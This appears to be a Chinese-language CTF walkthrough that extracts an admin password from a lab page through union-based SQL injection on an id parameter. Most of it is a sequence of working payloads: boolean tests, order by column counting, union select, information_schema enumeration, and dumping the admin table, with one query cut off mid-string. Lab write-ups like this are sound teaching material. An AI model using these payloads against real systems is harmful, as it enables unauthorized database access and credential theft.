提示已经很明显了通过sql注入拿到管理员密码
点击传送门进来发现是一个很简陋的页面
点击查看试试看
我们可以看到地址栏后面变成了?id=1。说明和后台数据库有交互可以尝试sql注入。
第一步判断注入点
我们构造
?id=1 and 1=1和?id=1 and 1=2
前者是恒成立的所以不会报错,与后者比较。
我们可以看到当?id=1 and 1=1的时候页面正常,当?id=1 and 1=2时页面出现显示错误。由此得知可以进行sql注入。
第二步首先判断表格字段数
这里要使用oder by来判断字段数
构造
?id=1 and 1=1 order by 1
当数字小于字段数时回显正常,当数字大于字段数时显示错误
我们发现当?id=1 and 1=1 order by 2时回显正常?id=1 and 1=1 order by 3时回显错误。
说明有2个字段。
第三步判断回显点
当我们知道有两个字段数时,我们就可以判断回显点了。
?id=1 and 1=2 union select 1,2
使用该语句判断回显。
回显为2,可得2为回显位。
第四步查询数据库和版本号
?id=1 and 1=2 union select 1,database()
?id=1 and 1=2 union select 1,version()
可得数据库名maoshe版本号为5.5.53
第五步爆表
获得数据库名字后我们就可以获取表名了
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'
我们爆出所有表名后发现有一张admin的表。题目提示我们通过sql注入获取管理员密码,推测在该表中。
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='adm
爆出admin表格下的所有字段。
发现有id,username,password三个字段推测正确。
第六步爆表的内容
?id=1 and 1=2 union select 1,username from admin limit 0,1
查看账号
?id=1 and 1=2 union select 1,password from admin limit 0,1
查询密码
查出密码为hellohack
完成!